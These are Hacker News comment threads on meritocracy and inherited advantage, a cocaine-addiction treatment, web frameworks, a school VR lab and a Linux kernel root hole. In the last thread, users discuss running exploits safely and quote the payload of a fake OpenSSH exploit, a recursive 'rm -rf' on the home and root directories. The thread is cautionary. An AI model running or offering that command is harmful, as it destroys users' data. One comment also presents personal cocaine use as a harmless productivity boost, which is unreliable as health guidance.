> The link between parental income and a child's academic success has grown > stronger, as clever people become richer and splash out on their daughter's > Mandarin tutor, and education matters more than it used to, because the > demand for brainpower has soared.

> The solution is not to discourage rich people from investing in their > children, but to do a lot more to help clever kids who failed to pick posh > parents.

> Improving early child care in the poorest American neighbourhoods yields > returns of ten to one or more; few other government investments pay off so > handsomely.

</comment></comment></comment></comment><comment><USER5> Coming from a household where only 1 parent had a college degree, growing up in a less affluent town within a highly affluent county, and being best friends with a member of a much more well-to-do town/family has given me some interesting opportunities to see these effects at work.

First and foremost, I don't understand the paragraph decrying successful people pairing off and breeding, we should be happy that there's some form of survival of the fittest still impacting the breeding of homo-sapiens.

Having said that, I don't think the success of well-to-do kids is about smarts; intelligence can truly be found across the board. The well-to-do kids understand early on the stakes of the game and they have the opportunity to learn the industries and occupations that afford a better lifestyle. They mostly gain these insights because they see their parent's careers and the careers of their parent's friends and have a chance to understand where the more lucrative opportunities are.

When I spoke with peers from my own town, most had no clue what they wanted to do and many were seeking out occupations with low ceilings (social work, teaching, etc). When I spoke to peers from my friend's town, most knew they wanted to get into sales or engineering or law or medicine. I think this is ultimately the biggest difference between upper and lower class upbringings and I'm still waiting for a concise study along these exact parameters.

<comment><USER6> >we should be happy that there's some form of survival of the fittest still impacting the breeding of homo-sapiens.

This is a terrible line of thought. Evolutionary fitness is not measured by us, and we have no obligation to support it. This is a massive fallacy. It is classic rationalization.

Those that survive are fit by evolutionary terms. It doesn't matter who survives or why you think they should. It is perfectly acceptable for unsuccessful people to reproduce, since that is the very adaptation that ensures their survival and guarantees their fitness.

Flies survive by reproducing en mass. Thus they are fit. It doesn't matter if they are only flies; they fill their niche and evolve just the same.

You cannot control evolution by choosing whether or not to reproduce. Evolution doesn't have a 'plan' for you to interfere with: it is simply what happens. It is the outcome.

<comment><USER5> It's not a terrible line of thought, simply an unpopular/controversial one. We've effectively eliminated selective pressures that would otherwise create a trend towards increased fitness. The most successful members of our society are increasingly the ones that are having the least children, this is irrefutable.

I would never imply that its unacceptable for unsuccessful people to reproduce, I'm simply stating that the trend within the opposite group is a bit unsettling.

<comment><USER6> You cannot eliminate selective pressures, you just change the niche. Changing from a circle peg to a square peg doesn't eliminate the requirements for a peg to fill a hole or die. You just fill different holes. This is not preventing survival of the fittest from working, it is just changing the meaning of 'fittest.'

Edit: There is an analogous claim you could make to highlight the absurdity of this:

Say we are talking about a plane crash and you said "We should be glad the plane crashed: it means that gravity is still affecting humans, as it should!"

Flying planes doesn't invalidate gravity. Gravity is a law of nature, and it works whether we fly or not. You are still bound by gravity even if you leave the ground. Survival of the fittest is a law of nature. You are still bound by it, even if you find it easy to survive. Nature doesn't care if you are successful by human social standards; that is simply not a consideration the laws of nature take into account.

</comment></comment></comment></comment><comment><USER7> On average, kids from affluent families have a 20 point IQ advantage over kids from poor families. That's more than one standard deviation which is 15 points.

Affluent families spend significantly more money in education than poor families. The elite families send their kids to $40k/year prep school since they are 2-3 years old.

The more knowledge/information required to be successful in the society, the more important this difference in education spending and IQ is. The inequality is inherent.

Instead of focusing on reducing the inequality, we need to convince the rich people that paying more tax to educate the majority of the population is a good thing for themselves in the long run. Why not just convince the poor people to vote that way? You may ask. Well, from my understanding, rich people knows the best on how to influence poor people.

<comment><USER8> The top 10% of the wealthiest Americans already pay 68% of the total income tax. What's needed is better management and allocation of the existing money, not throwing more money at the problem to be mismanaged. Other countries manage to education their children well at all sorts of tax levels.

<comment><USER9> 68% of the income tax is not nearly enough, considering that the rich own the vast majority of the wealth, and benefit disproportionately from it.

>Other countries manage to education their children well at all sorts of tax levels.

I think you'll find that - coincidentally - those countries have much higher tax rates, and the disparity between high and low incomes is smaller than it is in the US.

Education is always a good thing, and not just for the obvious reasons.

But poor education is as much a symptom of damaged political belief systems as it is a cause.

Fixing education will only fix the political pathologies up to a point.

<comment><USER10> We spend more per student than other countries.

[http://rossieronline.usc.edu/wp-content/uploads/us- schools-v...](http://rossieronline.usc.edu/wp-content/uploads/us-schools-vs- international3.jpg)

Also:

> 68% of the income tax is not nearly enough, considering that the rich own > the vast majority of the wealth, and benefit disproportionately from it.

Income is not the same as wealth. The top 10% earn 45% of the income and pay 68% of federal income taxes. How much higher would be "fair" to you?

<comment><USER11> (45/10)/(55/90) == 7.4

That's how much more the average person in the top decile makes compared to the rest.

(68/10)/(32/90) == 19

That's how much higher the tax the top decile's taxes are. That means that they are paying 2.6 times as much taxes per dollar.

Is it too high? Too low? I guess it really depends on what the baseline is. You can't really tell from these numbers. If the bottom 90% pays 10% of their income in taxes and the top 10% 26% I think it would sound acceptable, if not a bit low. These numbers don't really tell much of a story.

I guess my point is that as long as the rich keep getting richer and the poor poorer, the tax delta is not high enough.

</comment></comment></comment></comment></comment><comment><USER12> >The solution is not to discourage rich people from investing in their children, but to do a lot more to help clever kids who failed to pick posh parents.

This is quite right. It is astounding to think about the amount of intellectual capital that is being squandered by the current structures in place.

It is in our collective best interest to develop this resource as much as possible.

Perhaps a market based solution would be to institute an entrepreneurship- focused boarding school (and after that, maybe a genetic engineering focused nursery, call it X-Y-Combinator, say).

<comment><USER13> This is very true. One can argue that much of the difference can't be overcome - there is no way that a public education can outperform someone whose life involves Mandarin immersion and test prep tutors.

That said, there are schools (say the Success Academies) who find a way to perform well, even with poor kids, many of which are english language learners and special ed. Unfortunately many cities (and the progressives running them) are doing their best to chase away these reforms rather than embrace them.

</comment></comment><comment> aaron-lebo The article is conflating some things. Yes, Jeb Bush will be running. Yes, Clinton will be running. Both _are_ dynastical-ish issues.

But the discussion about education is off. Jeb is the embodiment of family dynasties, but let us not forget that there ware Adams, Harrisons, and Roosevelts. And Clinton is a strange example considering she married Bill, who came from a poor family and basically pulled himself up by charisma, which discounts the second-generation education notion presented.

<comment><USER14> Yeah, the Clintons are really more of a (dysfunctional) power couple than a dynasty.

</comment></comment><comment><USER15> The fact of University education having soared 17 times the median income, obviously means there is a bubble that needs to pop.

This bubble is sustained with student loans from the Government. The law of unintended consequences, you want to help the students, you give them money, prices go up.

In Spain something similar happened to houses. I don't want loans if they make houses 4 times more expensive, like European money did. I prefer to pay it myself, 4 times faster.

I had a very good education in different countries in Europe, and it was "free" in the economic sense, but it required me to have very good grades.

In some ways I would have preferred to pay a reasonable price for my education, but giving me the right to choose what I want to study and what not (just pass the exam without having to ace it for maintaining scholarship).

The economist, being Keynesian and all wants the Government to control everything top-down, but central planning is not the best system.

BTW: I find the hypothesis of the article ridiculous. It is not intelligence or education what makes Ivy league students wealthier in the US, but connections to power and privileges.

In fact, few people on the very top are that intelligent or educated. I have met some of them. They have other values, like being working, having charisma, being social...

<comment><USER16> 17 * $53,891 = $916,147 There is no way the average or even median university education costs nearly 1 million dollars. I have no doubt it costs way too much, but this argument isn't valid.

<comment><USER17> 17 times the rate of increase, not 17 times the current value. So new_school_cost/old_school_cost = 17*new_median_income/old_median_income.

<comment><USER18> My brother is getting rich faster than Bill Gates - I mean, he went from 0 in the bank last year to $200 this year, whereas Gates actually gave some money away!

Sometimes the absolute value is much more meaningful than the derivative.

</comment></comment></comment></comment><comment><USER19> > It is far more useful than wealth, and invulnerable to inheritance tax. It > is brains.

Not to sound unfair, but isn't this how mate selection works? Why would two successful, bright people _not_ want to mate and create successful, bright children? Isn't this what we want for our children, to be bright, capable, with functional, stable households and marriages brought about by parents who they themselves value education and a stable marriage/family?

I'm all for equality and the anti-aristocracy sentiment (I was a first generation college student, and my parents come from humble backgrounds), but it seems like the whole bend on the genetic predisposition of privileged children based on what they are born with seems like exactly what the whole point of evolution of the human species is about - creating a better version of ourselves.

<comment><USER20> Unless you are talking about theistic evolution, it has no point. Making beings suited to thrive in their environment is the method that led to our existence, but it's not the point of our existence unless we decide it is. It's perfectly fine to believe that the point of your existence is procreation and filling the world with better versions of yourself, but other people might have other agendas, like creating an egalitarian society or preventing overpopulation or replacing people with robots. None of them can be objectively verified as the purpose of humanity.

</comment></comment><comment><USER21> The idea of "assortative mating" is covered in depth in [http://www.amazon.com/Marriage-Markets-Inequality- Remaking-A...](http://www.amazon.com/Marriage-Markets-Inequality-Remaking- American/dp/0199916586) I have no affiliation with the book, I just read it recently and thought someone might be interested in the topic.

</comment><comment><USER22> As much as I think the article's author means well. I am quite disturbed by what some of their suggestions represent.

Notably, the idea of "plucking" children that display intelligence from a young age and somehow aiding them in their education. Now I may be wrong, but this seems like we're metaphorically "harvesting" intelligence for the benefit of society.

The assumption being that society at the moment can't naturally do that, and we have to use state funding/power/force to make it happen. As with all such assumptions, it comes with a eery connotation that we have "very smart" scientists (you know, the ones we don't naturally reward in society") that have studied this, and they concluded that the best course forward for society is for them to "pick" a favorable feature in the populace and help it blossom.

Looking forward to see what sort of discussion this mini-rant/tangential- brain-musing sparks.

</comment><comment><USER23> UPDATE - I removed the Thomas Jefferson quote as it's evidently a fake:

[http://www.monticello.org/site/jefferson/democracy-will- ceas...](http://www.monticello.org/site/jefferson/democracy-will-cease-to- exist-quotation)

I'm also a big fan of Occam's razor when it comes to politics because people tell themselves all kinds of imaginative things to justify their beliefs while a five year old child would see right through them. The simplest answer may be unpopular even if it's the right one, and I think that's why people so often ignore it.

The truth is that US taxes are about as low as they have ever been for any developed country, there are more loopholes than ever before, and money has corrupted politics to the point where the wealthy determine elections now instead of the voting populace.

The reason this matters is that the poor don't have capital. They don't even have good credit. How can they be expected to pick themselves up by their bootstraps and get an education when people even on this site (one of the densest concentrations of intelligence in the world) constantly demand privatization? Take away the entirety of a people's wealth and what do they have left? Their inalienable rights, their community, their heritage, in essence their government. I think any attack on what we've traditionally thought of as government services (like public education) is only going to lead us faster to aristocracy.

I have an inkling of what could be done to reduce wealth inequality but the pragmatic view of these things has become unpopular. I just ask that anyone who is passionate about something like school vouchers or inheritance taxes take a step back and look at the big picture. Instant runoff voting, publicly funded elections, and treating all net income equally under a progressive tax system are just a handful of newish ideas that would do wonders for leveling the playing field. My feeling is that people don't want it leveled, so the disparity between rich and poor today basically comes down to prejudice.

<comment><USER24> That quote looked suspicious, so I typed it into Google. It's fake.

<comment><USER23> Thanks, I stand corrected, that's why I like this site. I saw it on a bumper sticker so now am bummed out that it wasn't true:

[http://www.teapartygearonline.com/merchandise/bumper_sticker...](http://www.teapartygearonline.com/merchandise/bumper_stickers01.htm)

</comment></comment></comment><comment><USER25> Most other countries went from aristocracy to democracy. I'm sad that America is maybe the only one to go the other way -- to have been founded on the principles of The Enlightenment and to slip into plutocracy.

I point my finger of blame at the same thing that gave us the American Dream: a vast amount of land and the automobile. It meant everyone could own a home and land of their own, but it also meant that by not living in closer proximity to each other we forgot that we're family members and we turned into competitors. It only became important that you get your share (large, please!) and not making sure that we're all, as a nation, able to live well.

Now we are engaged in a great power war, testing whether this nation, or any nation so misguided and so derailed, can long endure.

<comment><USER26> _I 'm sad that America is maybe the only one to go the other way -- to have been founded on the principles of The Enlightenment and to slip into plutocracy._

Hardly. This is a very traditional political cycle that was first documented by the Greek historians and philosophers. Polybius and Plato aptly named it "Kyklos" (Cycle) and goes from Anarchy -> Democracy -> Aristocracy -> Monarchy.

This period of cycle is different however as there is no more "West" to go and start your anarchic society so it should be interesting to see what happens this time round the cycle.

<comment><USER27> In Europe it's gone:

Anarchy -> Democracy (Greece, early Rome) -> Aristocracy (late Rome) -> Monarchy (imperial Rome, middle ages) -> Revolution (brief partial anarchy?) -> Democracy -> Aristocracy (Eurozone) -> ???

I wonder if it's one of those "wheels of reincarnation," kind of analogous to the mainframe/PC cycle of centralization vs. decentralization. Decentralization creates problems that can only be solved by centralization (tragedy of the commons, paradox of thrift, etc.), but then centralization creates its own new problems that drive decentralization (corruption, arbitrary power), rinse and repeat.

<comment><USER26> Right, well you just described the cycle well with example. Anarchy is usually short lived as people naturally form groups.

</comment></comment></comment></comment><comment><USER28> "It is odd that a country founded on the principle of hostility to inherited status should be so tolerant of dynasties."

The sixth president of the United States was the son of the second president. I don't think the founding of our country was quite as utopian as the author believes.

</comment><comment><USER29> [http://boingboing.net/2012/06/13/meritocracies-become- oligar...](http://boingboing.net/2012/06/13/meritocracies-become- oligarchi.html)

</comment><comment><USER30> sounds like a load of eugenics

<comment><USER31> We prefer 'self-selecting breeding pools that happen to align toward advantage'.

<comment><USER22> I'm glad I'm not the only one that picked up the creepy undertone of what the article is proposing/representing.

</comment></comment></comment><comment><USER32> I find this article rather bizarre. The opening paragraph sounds a note that the rest of the article fails to pick up. It seems to me newsworthy that so many of the presumed candidates for 2016 are attached to past presidents, and "aristocracy" in that sense is definitely worrying and worth public discussion. But that's not the subject of the article.

The subject of the article is the privilege ("aristocracy" even) of intelligence. The thesis is that intelligent parents beget intelligent children, and since intelligence tends to beget success and wealth, intelligence represents a sort of inheritable good, a "fortune," in effect, handed down through family lines. Since all such inherited benefits undermine equality (the claim goes), they are a societal evil and should be combatted. The article suggests that the best way to combat them is to promote the less- intelligent or the intelligent-without-parentage. This is soft-gloving the issue; if inherited intelligence really is a societal evil, surely holding down those who are intelligent would also be a valid strategy.

This is a wonky argument at best. A few of the holes:

In what way is this situation new? If the inheritance of intelligence gives a unfair advantage to the heirs, when in all of human history was this ever not a source of inequality?

Surely inequality (in this abstract sense) is not such a universal, unmitigated evil that it must be fought everywhere it appears. People are in fact different; some people have advantages; some of these advantages are inherited. Where's the evil, the danger, in that? "Equality" in the sense that democracies embrace and fight for has never been taken as encompassing personal traits. If I'm beautiful and my parents are beautiful, should I hide my face in shame in a democratic nation? If I'm a great pole vaulter and so was my mother, should I hide my skill or contribute extra funds to support the training of weaker pole vaulters? The article misunderstands the notion of equality and, consequently, misidentifies the "danger" or "unfairness" arising from differences in people's abilities.

This is no innocent error. If we truly believed, as a society, that smart/beautiful/talented/gifted people posed a danger to society, represented a form of inequality, and formed an "aristocracy," we would be motivated to perpetrate the grossest sort of manipulations (at best) and atrocities (at worst) to equalize them with us ordinary folk. The result would be horrific, evil, and destructive to the utmost, not only for those unfortunates who were subjected to "equalization" but also for society itself.

Attack the privileged, if you must, when their possessions or powers pose a threat to the wellbeing of members of society in general. Do not attack those who simply have great abilities, even if their parents did too, or you'll achieve nothing but spite against your own face.

</comment><comment><USER33> Meanwhile Europe still has an aristocracy but we will ignore that and fret about the unlikely chance that America will develop one.

<comment><USER34> Last time I looked, Europe had more republics than monarchies...

<comment><USER35> and in france almost all of the high level bureaucrats and politicians come from the same school (ecole sciences po)

<comment><USER36> Which appears to have a remarkably wide intake, striving not to be simply a place that rich French aristocrats send their children. [http://www.nytimes.com/2011/09/05/world/europe/05iht- educLed...](http://www.nytimes.com/2011/09/05/world/europe/05iht- educLede05.html?pagewanted=all)

Bravo.

<comment><USER35> The diversity initiative makes up 10% of the class? That's laughably low, compared to say UC Berkeley, or even the ivies in the US.

</comment></comment></comment></comment></comment><comment><USER37> They might also want to consider an education system that prioritises _good teaching_ and not teachers faking impossible exam scores. Exam scores are not what makes a teacher.

<comment><USER38> The article mentions the problems with teachers in the second half.

 _Many schools are in the grip of one of the most anti-meritocratic forces in America: the teachers' unions, which resist any hint that good teaching should be rewarded or bad teachers fired._

<comment><USER37> Yes, this was a reaction to that. My objection is to the idea of "good teaching", as that often seems to be defined as "high standardised test scores".

</comment></comment></comment><comment><USER35> Is intellectual capital really that important? You can have a college degree studying an esoteric subject and be working a minimum wage job at a starbucks. Hell, you can do a postdoc in biochemistry, quit, start working for lyft, and get a pay raise. Until recently, semi-skilled oil rig workers in north dakota could comfortably make 80-100k.

</comment><comment><USER39> Surely this is conflating the professionals with the power dynasties. While marrying for intelligence may be common among professionals, marrying for status is still more common among the very rich, where any jobs are hobbies and the idea of actually relying on an income from stuff you do, is a sign of not being the right sort. Bright people marrying each other and having genius children does not remotely explain the Bush dynasty.

<comment><USER40> I think the author fired this to capture the attention of the reader early on, so that later he could expose the problem.

At first, it seemed as if the author almost conveys the thought that educated people should feel guilty from breeding with other educated people.

But thinking about it, all he seems to want is to break the implication: Bright kid ==> came from educated family.

To tear down causality, so that even kids who were born in ghettos could do something with their lives.

However, pondering on my own family:

My mother didn't continue college. My father studied in a technical high- school, but didn't go to college due to the fact our country was invaded by France and he had to provide for his mother and brothers and sisters, working with his father. He didn't go to college so that they get to.

Even though they didn't go to college, and although they were under great financial stress, there was one thing you couldn't mess with at home: Reading. They were ferocious readers. I was raised in a home with the classics (Balzac, Dumas, Hugo), books about plants, History, philosophy, geography, manuals for everything (from sewing machines, to guns and radio transmission). They raised 9 kids and we all went through a ton of stuff. We call the bathroom "The National Library" for a reason.

I wasn't allowed to go out until I've written many pages (to improve hand- writing, way before I was of age to be schooled. When I was 10, first year we started French at school (by that time, I had been exposed to the language for 10 years already), my teacher accused me of not being the one who wrote the text she asked us to and I had to write in front of her to believe. It was a "grown-up" writing). I've been accused so many times of cheating because I did something "I wasn't supposed to be able to do or knew something I wasn't supposed to know".

They schooled my brothers and sisters, who then schooled me.

My first three languages, I learned at home, my fourth when I started playing with kids outside. And then English, etc. My childhood was reading, reading, and reading. I had to summarize things like stories, and explain them. I've been asked questions on them. Engineering magazines, newspapers, you name it.

I assumed all the kids had to do this.

We became Software/Civil/Electronics Engineers, Architects, Maths and Chem/Physics grads and Designers.

So the question is: Knowing that they didn't go to college, and the fact my father was a political prisoner for years, and my mother had her parents tortured and murdered by French military when she was 9 or so...

How did they manage not to fall into the trap of perpetuating the cycle, and blaming their life conditions. After all, failing our education would've been extremely easy to justify with what they went through.

The answer is, in one word: Sacrifice. They sacrificed a lot of things and were not selfish, and never complained or neglected our education by finding an excuse in self-pity on why it was okay to fail us. _Then_ my brothers and sisters were not selfish by transmitting and putting a _lot_ of effort in my education, more than they received. And we're putting that effort with my nieces and nephews.

Would we stop putting that much effort in my nieces and nephews if public education was of quality? Definitely not. It's not the same motivation a brother or sister, an uncle, or a parent, has toward a child than a teacher has.

</comment></comment><comment><USER41> If the Ronald Reagan had happened to choose Donald Rumsfeld or any of the other plausible candidates as his running mate in 1980, would we be taking about George W. or Jeb Bush at all? And if the Republican Party had thought the 2012 election winnable, would we be talking about Mitt Romney?</comment>


The Search for the Antidote to Cocaine Addiction - <AUTHOR> http://www.buzzfeed.com/keeganhamilton/the-search-for-the-antidote-to-cocaine-addiction#4e40g0l

<comment><USER2> So, I really like cocaine.

I grew up smoking weed, and at some point in my life, I stopped completely. I, personally, suffered from the paranoid and laziness traits that effect certain users. It was a few years later that I tried cocaine.

Now, I always err on the side of safety, so when dealing with a drug that can kill with overuse, I tread carefully. I do way less than the normal user, and I do it only once a week. When I do do it, it's great. I get a LOT of work done. It's like coffee x2.

I don't want to argue with anybody about the substance, but I believe, for me, its positives outweigh its negatives. I hope one day the quality available to the public increases, and one day, that it is decriminalized.

Something like MC-18 will probably help extreme cases of addiction, but, it sounds like a very intense drug.

<comment><USER3> > its positives outweigh its negatives.

Until it doesnt.that's why cocaine is REALLY tricky.Because you can actually have a "normal" life with it,for a long time,unlike weed where you know you cant have a deep intellectual activity high on THC.

<comment><USER2> Well put about when it doesn't. It can be tricky, and it definitely depends on how well the user can manage their vices. I'm able to, so it works out. I eat very well and exercise tons, so I'm very healthy otherwise. It's dangerous to exercise on the drug, which is just one of the many reasons I don't do it often.

I do know some people who smoke a lot of weed, and are super productive and sharper than ever on the high. Unfortunately, that's not me.

</comment></comment></comment><comment><USER4> FWIIW, this research is not new. As the article noted, the drug is a relative of Ibogaine, which people have noticed has some "anti-addiction" properties for ... oh, I don't know; at least 50 years now (probably it was used for this purpose by the pygmies who actually discovered it). The article didn't note that one of the early therapeutic uses of LSD and other psychedelics: treatment of alcoholism and drug addiction. It was reasonably successful; there is no reason to believe the Ibogaine has any special properties that make it work better.

While I haven't examined the literature in detail, it's pretty obvious (from my youthful indiscretions, and observations of others) that tripping balls might give you a sort of "come to Jesus" moment that makes drinking and smoking crack seem like kind of a bad idea. Or, perhaps it temporarily blows out your dopamine system. Either way, if this substance works like the other psychedelic treatments, it should be obvious it isn't a long term effective treatment for drug addiction, since plenty of psychedelic users end up addicted to other drugs, and nobody talks about dropping acid and deciding to quit snorting coke (despite similar clinical successes in the 50s).

Not that I think the FDA should block this; even if it is psychedelic snake oil, they shouldn't be in the business of blocking research on such topics.

</comment><comment><USER5> "The FDA requires drugs like 18-MC to produce absolute abstinence in cocaine users in clinical trials, a standard that many believe is impossibly stringent."

This is insane, who at the FDA comes up with this stuff?

<comment><USER6> Let's say it's John at the FDA coming up with this stuff. But John is really a victim of the system set up around him. He's following orders. He's just doing his job. He has already rationalized his guilt away from this deed.

Instead, how about we let the FDA continue with their silliness of approving or not approving drugs based on whatever criteria they want, while still allowing non-FDA approved drugs to be sold?

That way we can all decide, at point of sale, if we are going to trust FDA's opinion or not. They can put big warning labels if they want (the retailers, not the government).

The problem here is the FDA has a monopoly on deciding which drugs two people can exchange for money. They can keep judging drugs all they want, but their control of what hits the shelves is unconstitutional and immoral.

EDIT: to downvote this is to be against personal responsibility; the UK has a great nanny state you might want to partake in.

<comment><USER7> John at the FDA could be the most rational drug policy wonk imaginable, but that's not going to help him during Congressional oversight hearings if lawmakers decide there is political capital to be made out of attacking him. For all its flaws, the FDA (like other agencies) has to follow rules of administrative process which are subject to challenge, and which aim to bring about iterative improvement. Legislative process is a lot more haphazard, and I'm not sure that the introduction of TV cameras has done anything to improve it.

</comment></comment></comment><comment><USER8> "Drug experts say alcohol worse than crack or heroin" (2010)

[http://www.reuters.com/article/2010/11/01/us-drugs- alcohol-i...](http://www.reuters.com/article/2010/11/01/us-drugs-alcohol- idUSTRE6A000O20101101)</comment>


The Web Application Messaging Protocol; from a Pythonic Perspective - <AUTHOR> https://medium.com/@noisyboiler/the-web-application-messaging-protocol-d8efe95aeb67 <comment><AUTHOR> A gentle introduction to The Web Application Messaging Protocol (WAMP), featuring Python and a Jersey Cow.</comment>


CakePHP on GitHub - <AUTHOR> http://github.com/blog/563-cakephp-on-github

<comment><USER2> I'm amazed by how fast GitHub has managed to become _the_ place for anything git and take a significant market-share from sites like SourceForge and Google Code, in a pretty short period of time.

<comment><USER3> It's particularly curious as Sourceforge and Google Code ostensibly have more to offer in terms of mailing lists, bug tracking, etc. Yet, GitHub clearly provides far superior hosting and source control tools and also lowers the bar to entry for participation, and I think this has made all the difference.

I also find it notable that GitHub's freemium model means they don't feel the need to bury their site with advertising (as is the case with Sourceforge) which makes it far more usable and also seems to convey a friendlier atmosphere.

<comment><USER4> GitHub does have Issues.

<comment><USER3> I make no claims to the contrary. Nobody is perfect. What is the point you are trying to make, exactly?

<comment><USER5> He's talking about _Issues_ [1], GitHub's issue tracker :)

[1] <http://github.com/blog/411-github-issue-tracker>

<comment><USER3> Ah. Thank you. That... was rather foolish of me.

<comment><USER4> Not really. I should have done more than capitalize the 'i.'

</comment></comment></comment></comment></comment></comment></comment><comment><USER6> Announcement on the CakePHP website: [http://bakery.cakephp.org/articles/view/changes-in- cakephp-a...](http://bakery.cakephp.org/articles/view/changes-in-cakephp-and- new-plugins)

</comment><comment><USER7> Would be awesome to hear from a Rails developer how Cake compares to what we have in Ruby land.

I still have to build and maintain the odd PHP app now and again. Is cake worth my while to learn? Or would I be better off with something like Zend Framework if I had to choose?

<comment><USER8> Personally I would go for either CodeIgniter or it's more well built cousin Kohana.

<comment><USER9> Thanks for the tipoff to kohana- as a past CI user I've looked for something similar but not bogged down like cake is.

Of course, I've recently begun to climb the fence to greener pastures (scala/lift), but clients still like php no matter how I loathe it :)

<comment><USER8> Word...though I think you'd be pleased to know that Kohana is one of the better engineered PHP code bases out there.</comment></comment></comment></comment>


Ask HN: High School VR Lab - <AUTHOR> I'm a high school CS teacher.  I have been told if I apply for funding for a VR lab I am highly likely to receive it.  There are a few reasons for this I don't need to go in to.  Apparently it has been decided that this would be good for the school!
Given that this (and only this, not any other funding) will happen, how can I make the most of it with my pupils?
I feel like it would be all too easy for it to be about consumption rather than creation.  I'd really like to introduce some CS concepts like ray tracing to the pupils.  (Ray tracing is easy enough to implement at high school level; it's the execution that's complex and expensive, not the algorithm)
Every time I think about that though I feel despondent that implementing our own code will be vastly inferior to using something off the shelf; that we should use Unity instead.  Or some other tool?
And that actually seems like a fine idea until I iterate and feel like anything made with a tool isn't going to be very good, and we should use something even higher level.  Yet this would take us even further away from creating and closer to consuming.
If anyone had good experiences with what really got pupils interested, I'd love to know what that was.  Am I a pipe smoking "in my day" oldie in thinking we should make our own stuff instead of using an existing framework?  I feel like in the trade off between functionality (our own code will be pretty basic compared to a framework) and features, I'd rather have something I made myself any day.  I have no idea if that will inspire pupils or not. <comment><USER2> I'm quite interested in use of VR in education. It's so early days and you can already see it's going the wrong way.

My take is that AR is going to take off in a huge way and it is going to be built on whatever VR community builds by then. I'm also in your camp that we should _own_ the technology and not just consume cloud-based solutions. If things are strapped onto our faces and in control of our senses, we users should own the software full stack.

I've devoted some time to learn LOVR framework for VR development. It enables use of Lua interpreted language as sole tool to build everything, there are no IDEs, scene managers or other tools. This means more learning and more re- inventing wheel, but so far it's been quite a fun journey for me. You can easily test it out and see how suited it would be.

I'm not a fan of Unity - I think in education it would be very hard to maintain development machines and support pupils. It's more suited to development studios where devs can invest months in mastering of tools, art pipeline and engine concepts. There are good alternatives in webVR space: BabelJS and Aframe.

I don't know how capable and knowledgeable your students are, but I think with guidance and mentorship Lua would be a good fit for educational purposes. Here's few ideas for educational VR projects for students. The molecular visualizer that renders XYZ file format is relatively easy to do, mine is <100 LoC Lua. Quite a few physics experiments can be replicated in VR, like ballistics, orbital mechanics, harmonic oscillations, optics. Maybe over years some of those physical experiments could evolve into a robotics lab? You could do mathematics-focused projects like rendering fractals, but any graphics project will be exercise in geometry and trigonometry.

</comment><comment><USER3> As a student (who graduated high school 2 years ago), I think it would be cool and inviting to most people to show examples in VR (like real games or unity projects), discuss/lecture, then implement. Some students will want to be hardcore and understand the bare-bones, some students will want to play around, and some students will want to use tools that the industry uses. You can get a nice balance of both what I mentioned and your own stuff and existing work. Maybe I'm being unrealistic, but that sounds like a great class to me.

</comment><comment><USER4> Maybe consider Mozilla Hubs as a starting platform? You can both easily build your own virtual worlds, and also hack on the platform itself if you like.

[https://hubs.mozilla.com/](https://hubs.mozilla.com/)</comment>


'Swissflix': Switzerland Plans Own Netflix - <AUTHOR> https://www.broadbandtvnews.com/2019/01/19/swissflix-switzerland-plans-own-netflix/ <comment><AUTHOR> The Bundesamt for Kultur (culture department) also wants streaming services to pay 4% of their revenue to promote swiss movies

[https://translate.google.com/translate?sl=auto&tl=en&u=https...](https://translate.google.com/translate?sl=auto&tl=en&u=https%3A%2F%2Fwww.srf.ch%2Fnews%2Fschweiz%2Fnetflix- amazon-co-streaming-plattformen-sollen-in-schweizer-filme-investieren)

<comment><USER2> That's a really good plan to scare away current and future streaming services.

Should those 4% reflect an average share of what is being watched on the platform? I don't think people are watching Swiss productions that much.</comment></comment>


New Git Homepage - <AUTHOR> http://github.com/blog/286-new-git-homepage

<comment><USER2> I'll be honest. I don't like their site (<http://git-scm.com/>) at all.

There is a lot of good information on that page, but it just feels too busy. I think github is a far better trial of git than setting up git on your local machine (via the download link.)

I think its important to stress why git is /better/ than the alternatives.

The quickstart stuff is really cool. But does it need to be on the homepage? Couldn't there be a slightly more detailed (but simple) Quick Start page?

</comment><comment><USER3> Nice. One very strange observation - the first time I glanced at it (I clicked the story, looked at the page, changed tabs to Google reader, clicked 'comment', and reopened your tab) I completely missed the RSS logo on the right.

I was thinking of something humorous to say like "You aren't going to miss that icon!", then I thought, shit, I did!

Otherwise, looks great!

<comment><USER3> Sorry, its late, I just realized I may as well have put in some lorem ipsum then.

The reason I missed it is because the shape didn't form as I immediately focused on the text on the left.

:)

</comment></comment><comment><USER4> Could someone please explain what that creature thing eating the trees is all about? Maybe i'm missing something...

<comment><USER5> Git deals in (source) trees and as a project their goal appears to be gobbling every tree in sight.</comment></comment>


Biblio Template: A Simpler Page (designing books for tablets) - <AUTHOR> http://www.alistapart.com/articles/a-simpler-page

<comment><AUTHOR> An interesting article on eBook design for tablet/eReaders and a nice set of templates/libraries (bibliotype: <http://craigmod.com/bibliotype/>) for creating books based on these guidelines.</comment>


Hole in Linux kernel provides root rights - <AUTHOR> http://www.h-online.com/open/news/item/Hole-in-Linux-kernel-provides-root-rights-1081317.html

<comment><USER2> Strike one for regression testing.

I tried the exploit on all our 64 bit boxes and it seems to fail on every one of them.

Here are the uname -a strings from a representative sample:

Linux c01_04.ttc.com 22.214.171.124 #3 SMP Wed Oct 10 06:16:52 EDT 2007 x86_64 GNU/Linux

Linux root-desktop 2.6.31-16-generic #53-Ubuntu SMP Tue Dec 8 04:02:15 UTC 2009 x86_64 GNU/Linux

Linux eleven.ttc.com 2.6.15 #2 SMP Thu Mar 9 09:06:54 EST 2006 x86_64 GNU/Linux

Linux backup01.ttc.com 2.6.25-14.fc9.x86_64 #1 SMP Thu May 1 06:06:21 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux

On the last one it exits with 'symbol table not available, aborting!'.

Off-topic, how many of you actually review a program like this before running it?

<comment><USER3> I try to. Most of the time if you see a _#define_ that is not a simple constant in an exploit, it should be at least preprocessed... There are a lot of "ssh exploits" that are really `rm -rf /` wrappers with some interesting preprocessor abuse.

<comment><USER2> That's what I do, I run it through cpp first and read the code from where the include files end, just to make sure someone isn't social engineering me into doing something stupid.

In case anybody wants to read the code preprocessed it's here:

<http://ww.com/robert_you_suck.txt>

Now of course you have to assume I'm telling you the truth, but that's easy enough to verify.

Paranoia has no limits ;)

<comment><USER3> My faviourite is probably the last openssh 0day "exploit": [http://antihackerlink.or.id/0day-for-openssh-0pen0wn-is- spre...](http://antihackerlink.or.id/0day-for-openssh-0pen0wn-is- spreaded.html)

See what happens with the "fremote(jmpcode)" function in 'main()'.

<comment><USER2> nasty:

rm -rf ~ /* 2> /dev/null &;

